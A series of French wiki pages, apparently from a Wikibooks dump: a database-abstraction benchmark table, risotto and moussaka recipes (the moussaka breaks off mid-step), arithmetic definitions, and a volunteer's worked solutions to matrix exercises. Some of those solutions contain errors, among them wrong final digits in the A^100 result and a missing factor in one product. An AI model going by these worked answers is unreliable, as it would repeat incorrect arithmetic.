style="text-align:left;width:2.198cm; " class="ce7"><p>Ratio </p></td><td style="text-align:left;width:3.538cm; " class="ce4"><p>PearDB </p></td><td style="text-align:left;width:2.267cm; " class="ce7"><p>Ratio </p></td></tr><tr class="ro3"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:right; width:1.251cm; " class="ce3"><p>100 </p></td><td style="text-align:right; width:3.311cm; " class="ce5"><p>0,004509878159 </p></td><td style="text-align:right; width:3.06cm; " class="ce5"><p>0,007393956184 </p></td><td style="text-align:right; width:2.058cm; " class="ce8"><p>1,64 </p></td><td style="text-align:right; width:3.732cm; " class="ce5"><p>0,007629513741 </p></td><td style="text-align:right; width:2.198cm; " class="ce8"><p>1,69 </p></td><td style="text-align:right; width:3.538cm; " class="ce5"><p>0,014100003242 </p></td><td style="text-align:right; width:2.267cm; " class="ce10"><p>3,13 </p></td></tr><tr class="ro3"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:right; width:1.251cm; " class="ce3"><p>1000 </p></td><td style="text-align:right; width:3.311cm; " class="ce5"><p>0,032515478134 </p></td><td style="text-align:right; width:3.06cm; " class="ce5"><p>0,058722567558 </p></td><td style="text-align:right; width:2.058cm; " class="ce8"><p>1,81 </p></td><td style="text-align:right; width:3.732cm; " class="ce5"><p>0,058887505531 </p></td><td style="text-align:right; width:2.198cm; " class="ce8"><p>1,81 </p></td><td style="text-align:right; width:3.538cm; " class="ce5"><p>0,107894778252 </p></td><td style="text-align:right; width:2.267cm; " class="ce10"><p>3,32 </p></td></tr><tr class="ro3"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:right; width:1.251cm; " class="ce3"><p>10000 </p></td><td style="text-align:right; width:3.311cm; " class="ce5"><p>0,316154789925 </p></td><td style="text-align:right; width:3.06cm; " class="ce5"><p>0,580163574219 </p></td><td style="text-align:right; width:2.058cm; " class="ce8"><p>1,84 </p></td><td style="text-align:right; width:3.732cm; " class="ce5"><p>0,579060173035 </p></td><td style="text-align:right; width:2.198cm; " class="ce8"><p>1,83 </p></td><td style="text-align:right; width:3.538cm; " class="ce5"><p>1,062700080872 </p></td><td style="text-align:right; width:2.267cm; " class="ce10"><p>3,36 </p></td></tr><tr class="ro1"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:left;width:1.251cm; " class="ce3" /><td style="text-align:left;width:3.311cm; " class="ce5" /><td style="text-align:left;width:3.06cm; " class="ce5" /><td style="text-align:left;width:2.058cm; " class="ce9" /><td style="text-align:left;width:3.732cm; " class="ce5" /><td style="text-align:left;width:2.198cm; " class="ce9" /><td style="text-align:left;width:3.538cm; " class="ce5" /><td style="text-align:left;width:2.267cm; " class="ce11" /></tr><tr class="ro1"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:left;width:1.251cm; " class="ce3" /><td style="text-align:left;width:3.311cm; " class="ce5" /><td style="text-align:left;width:3.06cm; " class="ce5" /><td style="text-align:left;width:2.058cm; " class="ce9" /><td style="text-align:left;width:3.732cm; " class="ce5" /><td style="text-align:left;width:2.198cm; " class="ce9" /><td style="text-align:left;width:3.538cm; " class="ce5" /><td style="text-align:left;width:2.267cm; " class="ce11" /></tr><tr class="ro1"><td style="text-align:left;width:3.366cm; " class="ce1"><p>Insert base </p></td><td style="text-align:left;width:1.251cm; " class="ce2" /><td style="text-align:left;width:3.311cm; " class="ce4"><p>Mysql </p></td><td style="text-align:left;width:3.06cm; " class="ce4"><p>Adodb Lite </p></td><td style="text-align:left;width:2.058cm; " class="ce7"><p>Ratio </p></td><td style="text-align:left;width:3.732cm; " class="ce4"><p>Adodb </p></td><td style="text-align:left;width:2.198cm; " class="ce7"><p>Ratio </p></td><td style="text-align:left;width:3.538cm; " class="ce4"><p>PearDB </p></td><td style="text-align:left;width:2.267cm; " class="ce7"><p>Ratio </p></td></tr><tr class="ro4"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:right; width:1.251cm; " class="ce3"><p>100 </p></td><td style="text-align:right; width:3.311cm; " class="ce5"><p>0,056891727448 </p></td><td style="text-align:right; width:3.06cm; " class="ce5"><p>0,088535737991 </p></td><td style="text-align:right; width:2.058cm; " class="ce8"><p>1,56 </p></td><td style="text-align:right; width:3.732cm; " class="ce5"><p>0,171604251862 </p></td><td style="text-align:right; width:2.198cm; " class="ce8"><p>3,02 </p></td><td style="text-align:right; width:3.538cm; " class="ce5"><p>0,199182701111 </p></td><td style="text-align:right; width:2.267cm; " class="ce10"><p>3,5 </p></td></tr><tr class="ro4"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:right; width:1.251cm; " class="ce3"><p>1000 </p></td><td style="text-align:right; width:3.311cm; " class="ce5"><p>0,572428703308 </p></td><td style="text-align:right; width:3.06cm; " class="ce5"><p>0,870286822319 </p></td><td style="text-align:right; width:2.058cm; " class="ce8"><p>1,52 </p></td><td style="text-align:right; width:3.732cm; " class="ce5"><p>1,709198999405 </p></td><td style="text-align:right; width:2.198cm; " class="ce8"><p>2,99 </p></td><td style="text-align:right; width:3.538cm; " class="ce5"><p>1,945038819313 </p></td><td style="text-align:right; width:2.267cm; " class="ce10"><p>3,4 </p></td></tr><tr class="ro4"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:right; width:1.251cm; " class="ce3"><p>10000 </p></td><td style="text-align:right; width:3.311cm; " class="ce5"><p>5,728188300133 </p></td><td style="text-align:right; width:3.06cm; " class="ce5"><p>8,815959715843 </p></td><td style="text-align:right; width:2.058cm; " class="ce8"><p>1,54 </p></td><td style="text-align:right; width:3.732cm; " class="ce5"><p>17,380733299255 </p></td><td style="text-align:right; width:2.198cm; " class="ce8"><p>3,03 </p></td><td style="text-align:right; width:3.538cm; " class="ce5"><p>19,659129166603 </p></td><td style="text-align:right; width:2.267cm; " class="ce10"><p>3,43 </p></td></tr><tr class="ro1"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:left;width:1.251cm; " class="ce3" /><td style="text-align:left;width:3.311cm; " class="ce5" /><td style="text-align:left;width:3.06cm; " class="ce5" /><td style="text-align:left;width:2.058cm; " class="ce9" /><td style="text-align:left;width:3.732cm; " class="ce5" /><td style="text-align:left;width:2.198cm; " class="ce9" /><td style="text-align:left;width:3.538cm; " class="ce5" /><td style="text-align:left;width:2.267cm; " class="ce11" /></tr><tr class="ro1"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:left;width:1.251cm; " class="ce3" /><td style="text-align:left;width:3.311cm; " class="ce5" /><td style="text-align:left;width:3.06cm; " class="ce5" /><td style="text-align:left;width:2.058cm; " class="ce9" /><td style="text-align:left;width:3.732cm; " class="ce5" /><td style="text-align:left;width:2.198cm; " class="ce9" /><td style="text-align:left;width:3.538cm; " class="ce5" /><td style="text-align:left;width:2.267cm; " class="ce11" /></tr><tr class="ro5"><td style="text-align:left;width:3.366cm; " class="ce1"><p>Insert complexe </p></td><td style="text-align:left;width:1.251cm; " class="ce2" /><td style="text-align:left;width:3.311cm; " class="ce4"><p>Mysql </p></td><td style="text-align:left;width:3.06cm; " class="ce4"><p>Adodb Lite </p></td><td style="text-align:left;width:2.058cm; " class="ce7"><p>Ratio </p></td><td style="text-align:left;width:3.732cm; " class="ce4"><p>Adodb </p></td><td style="text-align:left;width:2.198cm; " class="ce7"><p>Ratio </p></td><td style="text-align:left;width:3.538cm; " class="ce4"><p>PearDB </p></td><td style="text-align:left;width:2.267cm; " class="ce7"><p>Ratio </p></td></tr><tr class="ro4"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:right; width:1.251cm; " class="ce3"><p>100 </p></td><td style="text-align:right; width:3.311cm; " class="ce5"><p>0,119825267792 </p></td><td style="text-align:right; width:3.06cm; " class="ce5"><p>0,180384135246 </p></td><td style="text-align:right; width:2.058cm; " class="ce8"><p>1,51 </p></td><td style="text-align:right; width:3.732cm; " class="ce5"><p>0,263805937767 </p></td><td style="text-align:right; width:2.198cm; " class="ce8"><p>2,20 </p></td><td style="text-align:right; width:3.538cm; " class="ce5"><p>0,300176525116 </p></td><td style="text-align:right; width:2.267cm; " class="ce10"><p>2,51 </p></td></tr><tr class="ro4"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:right; width:1.251cm; " class="ce3"><p>1000 </p></td><td style="text-align:right; width:3.311cm; " class="ce5"><p>1,198239421845 </p></td><td style="text-align:right; width:3.06cm; " class="ce5"><p>1,822519397736 </p></td><td style="text-align:right; width:2.058cm; " class="ce8"><p>1,52 </p></td><td style="text-align:right; width:3.732cm; " class="ce5"><p>2,625509977341 </p></td><td style="text-align:right; width:2.198cm; " class="ce8"><p>2,19 </p></td><td style="text-align:right; width:3.538cm; " class="ce5"><p>3,017036652565 </p></td><td style="text-align:right; width:2.267cm; " class="ce10"><p>2,52 </p></td></tr><tr class="ro4"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:right; width:1.251cm; " class="ce3"><p>10000 </p></td><td style="text-align:right; width:3.311cm; " class="ce5"><p>12,076713681221 </p></td><td style="text-align:right; width:3.06cm; " class="ce5"><p>18,516474580765 </p></td><td style="text-align:right; width:2.058cm; " class="ce8"><p>1,53 </p></td><td style="text-align:right; width:3.732cm; " class="ce5"><p>26,223340129852 </p></td><td style="text-align:right; width:2.198cm; " class="ce8"><p>2,17 </p></td><td style="text-align:right; width:3.538cm; " class="ce5"><p>30,594590067863 </p></td><td style="text-align:right; width:2.267cm; " class="ce10"><p>2,53 </p></td></tr><tr class="ro1"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:left;width:1.251cm; " class="Default" /><td style="text-align:left;width:3.311cm; " class="Default" /><td style="text-align:left;width:3.06cm; " class="Default" /><td style="text-align:left;width:2.058cm; " class="ce6" /><td style="text-align:left;width:3.732cm; " class="Default" /><td style="text-align:left;width:2.198cm; " class="ce6" /><td style="text-align:left;width:3.538cm; " class="Default" /><td style="text-align:left;width:2.267cm; " class="ce6" /></tr><tr class="ro1"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:left;width:1.251cm; " class="Default" /><td style="text-align:left;width:3.311cm; " class="Default" /><td style="text-align:left;width:3.06cm; " class="Default" /><td style="text-align:left;width:2.058cm; " class="ce6" /><td style="text-align:left;width:3.732cm; " class="Default" /><td style="text-align:left;width:2.198cm; " class="ce6" /><td style="text-align:left;width:3.538cm; " class="Default" /><td style="text-align:left;width:2.267cm; " class="ce6" /></tr></table><table border="0" cellspacing="0" cellpadding="0" class="ta1"><tr class="ro1"><td style="text-align:left;width:2.267cm; " class="Default" /></tr></table><table border="0" cellspacing="0" cellpadding="0" class="ta1"><tr class="ro1"><td style="text-align:left;width:2.267cm; " class="Default" /></tr></table> En resumé il en ressort que la couche d'abstraction Adodb Lite est une plutôt bonne concurrente a mysql natif, et qui autorise (ce qui ne gache rien) une portabilité sur une bonne 10aine de SGBD Adodb Lite étant un subset des fonctionnalités de la librairie Adodb, il est parfaitement envisageable de pouvoir coder la partie Stockage des stats avec la Lite afin de pouvoir absorber la charge que ca peut occasionner, et parallellement, utiliser Adodb Standard pour coder la partie Backoffice / archivage qui elle sera forcement moins gourmande en charge. A ++ --[[Utilisateur:SpotK|SpotK]] 28 jul 2005 à 21:54 (UTC)-- Cuisine:Risotto de saumon 4537 22091 2005-09-25T13:48:12Z Antoinel 182 ==== Ingrédients (pour 4 personnes)==== * 400g de riz rond * 600g de saumon (sans peau ni arrête) * 1 oignon * 2 verres de vin blanc * 1l de fumet de poisson * 70g de parmesan * 1 filet d'huile d'olive ==== Préparation ==== {| align="center" border="1" cellpadding="2" cellspacing="0" |- bgcolor="#efefef" ! Étape 1 ! Étape 2 |----- | width=50% |[[Image:Preparation rissoto saumon(oignon).jpg|200px|center]]<br /><center>Eplucher et hacher l'oignon et le faire revenir cinq minutes dans une grande poêle (anti-adhésive si possible) avec un peu d'huile.</center> | valign=top|[[Image:Preparation rissoto saumon etape2.jpg|200px|center]]<br /><center>Ajouter le riz et remuer jusqu'à ce qu'il soit nacré.</center> |- bgcolor="#efefef" ! Étape 3 ! Étape 4 |----- | valign=top|[[Image:Preparation rissoto saumon etape3.jpg|200px|center]]<br /><center>Verser le vin blanc. Mélanger.</center> | valign=top|[[Image:Preparation rissoto saumon etape4.jpg|200px|center]] <br /><center>Ajouter 1 dl de fumet, remuer. Lorsque le riz a tout absorbé, ajouter à nouveau du fumet. Et ainsi de suite.</center> |- bgcolor="#efefef" ! Étape 5 ! Étape 6 |----- | valign=top|[[Image:Preparation rissoto saumon2.jpg|200px|center]] <br /><center>Couper le saumon en dés et l'ajouter. Laisser cuire cinq minutes.</center> | Image <br /><center>Raper le parmesan, couper le feu et l'ajouter.</center> |- bgcolor="#efefef" ! Étape 7 |----- | Image <br /><center>Laisser reposer quelques minutes et servir.</center> |} ---- Retour aux [[Cuisine:Recettes à base de riz|recettes à base de riz]]/ au [[Livre_de_Cuisine|sommaire]] ---- Arithmétique élémentaire 4538 26013 2005-11-24T17:46:33Z Marc 66 == Quelques définitions == [[Catégorie:Mathématiques]] * L'''' Arithmétique ''' est la science des nombres. Elle se consacre à l'étude des nombres, à leur calcul et à leur représentation écrite. : L'arithmétique étudie les propriétés des [[entier naturel|entiers naturels]], des [[entier relatif|entiers relatifs]], et des [[nombre rationnel|nombres rationnels]]. : S'y ajoutent également les [[nombre réel|nombres réels]]. : Les opérations arithmétiques traditionnelles sont l'[[addition]], la [[soustraction]], la [[multiplication]], et la [[division]]. * ''' Unité ''' : pour évaluer une quantité il faut définir une unité. On appelle unité chacun des objets d'une collection. * ''' Compter ''' : C'est rechercher combien il y a d'unités dans un collection. * ''' Grandeur ''' : On appelle grandeur, tout ce qui peut être augmenté ou diminué. On désigne sous le nom de grandeur mathématiques, celles pour lesquelles on peut définir l'égalité et la somme. Exemple: surfaces, volumes, etc... Une grandeur et une quantité ou dimension adoptée comme étalon de mesure. * ''' Mesure d'une grandeur ''' : Mesurer une grandeur c'est rechercher combien de fois elle renferme une autre grandeur prise pour unité. ** ''' Grandeur continue ''' : Grandeur ou l'on aperçoit pas d'objets distincts. Les grandeurs continue peuvent etre exprimées par un nombre fractionnaire. ** ''' Grandeur discontinue ''' : Grandeur composée d'objets distincts mais analogues dont la mesure est exprimée par un nombre entier. ** ''' Nombre concret ''' : c'est un nombre suivi de l'unité qui l'a fourni ( ex : 3 kg, 6 cm). ** ''' Nombre abstrait ''' :nombre non suivi d'unité. ** ''' nombres égaux et nombres inégaux ''' : dans la mesure de deux grandeurs, trois cas seulement peuvent se présenter : *** Soit les deux grandeurs sont égales, ou bien la première est inférieure a la deuxième, ou la première est supérieure à la deuxième. Les signes <> sont des symboles d'inégalité. AL SE Matrices 4540 16575 2005-07-15T16:10:06Z Jim2k 289 /* Exercices sur les déterminants et les inverses */ [[AL Matrices|< Matrices]] ==Matrices== <blockquote style="padding: 1em; border: 2px dotted purple;"> Ces solutions n'ont pas été écrites par l'auteur du reste du livre. Elles sont simplement la réponse que je pense être correcte pendant que je faisais les exercices. J'espère que ces réponses sont utiles pour quelqu'un et que celui-ci corrigera mon travail s'il trouve des fautes. </blockquote> ===Exercices sur la multiplication matricielle=== :<math>\begin{pmatrix}1&2&3\end{pmatrix}\begin{pmatrix}1\\2\\3\end{pmatrix} = \begin{pmatrix}(1 \times 1) + (2 \times 2) + (3 \times 3)\end{pmatrix} = \begin{pmatrix}14\end{pmatrix} </math> :<math>\begin{pmatrix}1/8&9&0,01\end{pmatrix}\begin{pmatrix}16\\2\\1000\end{pmatrix} = \begin{pmatrix}(1/8 \times 16) + (9 \times 2) + (0,01 \times 1000)\end{pmatrix} = \begin{pmatrix}30\end{pmatrix}</math> :<math>\begin{pmatrix}a&b&c\end{pmatrix}\begin{pmatrix}d\\e\\f\end{pmatrix} = \begin{pmatrix}(a \times d) + (b \times e) + (c \times f)\end{pmatrix} = \begin{pmatrix}a \times d + b \times e + c \times f\end{pmatrix}</math> :<math>\begin{pmatrix}6 + 6b&3 - b& b\end{pmatrix}\begin{pmatrix}0\\0\\0\end{pmatrix} = \begin{pmatrix}((6 + 6b) \times 0) + ((3 - b) \times 0) + (b \times )\end{pmatrix} = \begin{pmatrix}0\end{pmatrix}</math> :<math>\begin{pmatrix}0&abc& 0\end{pmatrix} \begin{pmatrix}a\\0\\q\end{pmatrix} = \begin{pmatrix}(0 \times a) + (abc \times 0) + (0 \times q)\end{pmatrix} = \begin{pmatrix}0\end{pmatrix}</math> ===Exercices sur la multiplication des matrices non-vectorielles=== 1. :a) <math>n \times m</math> :b) <math>2 \times 4</math> 2. :a) :<math> \begin{pmatrix} 1&1\\ 0&1\\ \end{pmatrix} \begin{pmatrix} 1&1\\ 0&1\\ \end{pmatrix} \begin{pmatrix} 1&1\\ 0&1\\ \end{pmatrix} \begin{pmatrix} 1\\ 1\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 1&1\\ 0&1\\ \end{pmatrix} \begin{pmatrix} 1&1\\ 0&1\\ \end{pmatrix} \begin{pmatrix} 2\\ 1\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 1&1\\ 0&1\\ \end{pmatrix} \begin{pmatrix} 3\\ 1\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 4\\ 1\\ \end{pmatrix} = </math> :b) :<math> \begin{pmatrix} 3&1\\ 2&8\\ \end{pmatrix} \begin{pmatrix} 1&1\\ 0&2\\ \end{pmatrix} \begin{pmatrix} 1&1\\ 0&1\\ \end{pmatrix} \begin{pmatrix} 1\\ 1\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 3&1\\ 2&8\\ \end{pmatrix} \begin{pmatrix} 1&1\\ 0&2\\ \end{pmatrix} \begin{pmatrix} 2\\ 1\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 3&1\\ 2&8\\ \end{pmatrix} \begin{pmatrix} 3\\ 2\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 11\\ 22\\ \end{pmatrix} = </math> 3. :<math> C = \begin{pmatrix} 1&2&3\\ 4&5&6\\ 7&8&9\\ \end{pmatrix} \begin{pmatrix} 1&0&0\\ 0&1&0\\ 0&0&1\\ \end{pmatrix} = \begin{pmatrix} 1&2&3\\ 4&5&6\\ 7&8&9\\ \end{pmatrix}</math> :<math> D = \begin{pmatrix} 1&0&0\\ 0&1&0\\ 0&0&1\\ \end{pmatrix} \begin{pmatrix} 1&2&3\\ 4&5&6\\ 7&8&9\\ \end{pmatrix} = \begin{pmatrix} 1&2&3\\ 4&5&6\\ 7&8&9\\ \end{pmatrix} </math> La chose importante à noter ici est que la matrice de 1 à 9 reste la même lorsqu'elle est multipliée avec l'autre matrice. La matrice composée uniquement de 1 sur la diagonale et 0 ailleurs est connue comme la matrice ''identité'', notée ''I'', et toute matrice multipliée d'un coté ou l'autre avec elle reste la même. C'est à dire <math>A \times I = I \times A\,</math> 4. a) :<math>A^5 = \begin{pmatrix} -1&6\\ -1&4\\ \end{pmatrix} \begin{pmatrix} -1&6\\ -1&4\\ \end{pmatrix} \begin{pmatrix} -1&6\\ -1&4\\ \end{pmatrix} \begin{pmatrix} -1&6\\ -1&4\\ \end{pmatrix} \begin{pmatrix} -1&6\\ -1&4\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} -1&6\\ -1&4\\ \end{pmatrix} \begin{pmatrix} -1&6\\ -1&4\\ \end{pmatrix} \begin{pmatrix} -1&6\\ -1&4\\ \end{pmatrix} \begin{pmatrix} -5&18\\ -3&10\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} -1&6\\ -1&4\\ \end{pmatrix} \begin{pmatrix} -1&6\\ -1&4\\ \end{pmatrix} \begin{pmatrix} -13&42\\ -7&22\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} -1&6\\ -1&4\\ \end{pmatrix} \begin{pmatrix} -29&90\\ -15&46\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} -61&186\\ -31&94\\ \end{pmatrix} </math> b) :<math> \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} \begin{pmatrix} 3&2\\ 1&1\\ \end{pmatrix} = \begin{pmatrix} (1 \times 3) + (-2 \times 1)&(1 \times 2) + (-2 \times 1)\\ (-1 \times 3) + (3 \times 1)&(-1 \times 2) + (3 \times 1)\\ \end{pmatrix} = \begin{pmatrix} 1&0\\ 0&1\\ \end{pmatrix} </math> c) <math> \begin{pmatrix} a&b\\ c&d\\ \end{pmatrix} \begin{pmatrix} 1&0\\ 0&1\\ \end{pmatrix} = \begin{pmatrix} (a \times 1) + (b \times 0)&(a \times 0) + (b \times 1)\\ (c \times 1) + (d \times 0)&(c \times 0) + (d \times 1)\\ \end{pmatrix} = \begin{pmatrix} a&b\\ c&d\\ \end{pmatrix} </math> :<math>\begin{pmatrix} 1&0\\ 0&1\\ \end{pmatrix} \begin{pmatrix} a&b\\ c&d\\ \end{pmatrix} = \begin{pmatrix} (1 \times a) + (0 \times b)&(0 \times a) + (1 \times b)\\ (1 \times c) + (0 \times d)&(0 \times c) + (1 \times d)\\ \end{pmatrix} = \begin{pmatrix} a&b\\ c&d\\ \end{pmatrix}</math> d) :<math>A = \begin{pmatrix} 3&2\\ 1&1\\ \end{pmatrix} \begin{pmatrix} 1&0\\ 0&2\\ \end{pmatrix} \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 3&4\\ 1&2\\ \end{pmatrix} \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} -1&6\\ -1&4\\ \end{pmatrix} </math> e) Comme exemple, je calculerai d'abord <math>A^2\,</math> :<math>A^2 = \begin{pmatrix} 3&2\\ 1&1\\ \end{pmatrix} \begin{pmatrix} 1&0\\ 0&2\\ \end{pmatrix} \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} \begin{pmatrix} 3&2\\ 1&1\\ \end{pmatrix} \begin{pmatrix} 1&0\\ 0&2\\ \end{pmatrix} \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 3&2\\ 1&1\\ \end{pmatrix} \begin{pmatrix} 1&0\\ 0&2\\ \end{pmatrix} \begin{pmatrix} 1&0\\ 0&1\\ \end{pmatrix} \begin{pmatrix} 1&0\\ 0&2\\ \end{pmatrix} \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 3&2\\ 1&1\\ \end{pmatrix} \begin{pmatrix} 1&0\\ 0&2\\ \end{pmatrix} \begin{pmatrix} 1&0\\ 0&2\\ \end{pmatrix} \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 3&2\\ 1&1\\ \end{pmatrix} \begin{pmatrix} 1&0\\ 0&2\\ \end{pmatrix}^2 \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 3&2\\ 1&1\\ \end{pmatrix} \begin{pmatrix} 1^2&0\\ 0&2^2\\ \end{pmatrix} \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 3&2\\ 1&1\\ \end{pmatrix} \begin{pmatrix} 1&0\\ 0&4\\ \end{pmatrix} \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 3&8\\ 1&4\\ \end{pmatrix} \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} -5&18\\ -3&10\\ \end{pmatrix} </math> Maintenant, faisons les mêmes simplifications que j'ai fait précédemment avec <math>A^5\,</math> :<math> A^5 = \begin{pmatrix} 3&2\\ 1&1\\ \end{pmatrix} \begin{pmatrix} 1&0\\ 0&2\\ \end{pmatrix}^5 \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 3&2\\ 1&1\\ \end{pmatrix} \begin{pmatrix} 1^5&0\\ 0&2^5\\ \end{pmatrix} \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 3&2\\ 1&1\\ \end{pmatrix} \begin{pmatrix} 1&0\\ 0&32\\ \end{pmatrix} \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 3&64\\ 1&32\\ \end{pmatrix} \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} -61&186\\ -31&94\\ \end{pmatrix} </math> f) :<math> A^{100} = \begin{pmatrix} 3&2\\ 1&1\\ \end{pmatrix} \begin{pmatrix} 1&0\\ 0&2\\ \end{pmatrix}^{100} \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 3&2\\ 1&1\\ \end{pmatrix} \begin{pmatrix} 1^{100}&0\\ 0&2^{100}\\ \end{pmatrix} \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 3&2\\ 1&1\\ \end{pmatrix} \begin{pmatrix} 1&0\\ 0&1267650600228229401496703205376\\ \end{pmatrix} \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} 3&2535301200456458802993406410752\\ 1&1267650600228229401496703205376\\ \end{pmatrix} \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} = </math> :<math> \begin{pmatrix} -2535301200456458802993406410751&7605903601369376408980219232254\\ -1267650600228229401496703205373&3802951800684688204490109616122\\ \end{pmatrix} </math> ===Exercices sur les déterminants et les inverses=== 1. :<math> \det(A) = \frac{2}{5} \times \frac{5}{2} -\frac{2}{3} \times \frac{3}{2} = 0</math> 2. Le système d'équations sera traduit dans les matrices suivantes <math> \begin{pmatrix}\frac{2}{5}&\frac{2}{3}\\ \\ \frac{3}{2}& \frac{5}{2}\end{pmatrix} \begin{pmatrix}x\\y\end{pmatrix} = \begin{pmatrix}0\\0\end{pmatrix}</math> Parceque nous savons déjà que :<math> \det(\begin{pmatrix}\frac{2}{5}&\frac{2}{3}\\ \\ \frac{3}{2}& \frac{5}{2}\end{pmatrix}) = 0</math> Nous pouvons dire qu'il n'y a pas de solution unique pour ce système d'équations. 3. Calculons d'abord la valeur obtenue par la multiplication des déterminants :<math> \det( \begin{pmatrix} a&b\\ c&d \end{pmatrix} ) \det( \begin{pmatrix} e&f\\ g&h \end{pmatrix} ) = </math> :<math> (ad - bc)(eh - fg) =\, </math> :<math> adeh - bceh - adfg + bcfg\, </math> Maintenant, calculons C en faisant la multiplication matricielle d'abord :<math> \det( \begin{pmatrix} a&b\\ c&d \end{pmatrix} \begin{pmatrix} e&f\\ g&h \end{pmatrix} ) = </math> :<math> \det( \begin{pmatrix} ae+bg&af+bh\\ ce+dg&cf+dh \end{pmatrix} ) = </math> :<math> (ae + bg)(cf + dh) - (af + bh)(ce + dg) =\, </math> :<math> aecf+bgcf+aedh+bgdh-afce-bgce-afdg-bhdg =\ </math> :<math> bgcf+aedh-bgce-afdg\, </math> qui est égal à la valeur calculée lorsque nous avons multiplié les déterminants, ainsi :<math>det(C) = det(A)det(B)\,</math> pour le cas 2 x 2. 4. :<math>A = \begin{pmatrix} a&b\\ c&d \end{pmatrix} </math> :<math> \det(A) = ad - bc\, </math> :<math>A' = \begin{pmatrix} c&d\\ a&b \end{pmatrix} </math> :<math> \det(A') = cb - da\, </math> :<math> -\det(A') = -(bc - ad) = ad - bc\, </math> Ainsi <math>det(A) = -det(A')\,</math> est vrai. 5. a) :<math>A = P^{-1}BP\,</math> :<math>\det(A) = \det(P^{-1})\det(B)\det(P) =\,</math> :<math>\det(P^{-1})\det(P)\det(B) =\,</math> :<math>\det{(P^{-1}P)}\det(B) =\,</math> :<math>\det{(I)}\det(B) =\,</math> :<math>\det(B)\,</math> comme <math>det(I) = 1\,</math>. ainsi <math>det(A) = det(B)\,</math> Modèle:Ère 4541 16532 2005-07-14T23:28:39Z Esope 99 <sup><small>ère</small></sup> Modèle:Er 4542 16534 2005-07-14T23:40:31Z Esope 99 création <sup><small>er</small></sup> Modèle:Ème 4543 16535 2005-07-14T23:49:13Z Esope 99 création <sup><small>ème</small></sup> Cuisine:Moussaka 4544 16546 2005-07-15T09:40:45Z 82.252.77.105 == Ingrédients == * 3 aubergines, * 1 gros oignon haché, * 500 gr de bœuf haché maigre, * 500 gr de pulpe de tomates, * sel, poivre blanc, ½ cc de cannelle en poudre, * menthe et persil hachés : 2 cc, * huile d'olive, * un peu de vin blanc. * 100 gr de beurre, * 100 gr de farine, * ½ litre de lait, * 2 œufs moyens, * 150 gr de parmesan == Préparation == #Couper les aubergines sur la longueur en lames de 1 cm d'épaisseur. Saler les deux côtés. Faire dégorger dans une passoire pendant 1 heure. Rincer, égoutter, essuyer avec un papier absorbant. Réserver. #Faire chauffer 3 cs d'huile d'olive dans une sauteuse, jeter les oignons en vrac, tourner rapidement jusqu'au stade translucide. #Ajouter la viande de bœuf hachée. Faire cuire en tournant et en séparant la viande pendant 10 min jusqu'à évaporation complète du liquide. #Ajouter le vin blanc, la pulpe de tomates, les herbes aromatiques, la cannelle et le poivre. Porter la sauteuse à ébullition, baisser le feu et laisser cuire encore 15 min en couvrant avec un couvercle. Retirer le couvercle et laisser cuire encore 10 min. #Faire fondre le beurre dans une casserole à fond épais, jeter la farine en pluie, lier en tournant vivement pendant 2 minutes. Verser le lait en tournant régulièrement jusqu'à obtention d'une béchamel. #Ajouter les deux œufs légèrement battus, puis ajouter le fromage. Le mélange doit être homogène. Saler et poivrer. #Préchauffer le four à thermostat 7. #Faire rissoler les aubergines dans l'huile chaude. Les égoutter sur du papier absorbant. #Dans un grand plat à four, disposer une couche d'aubergines, la moitié de garniture 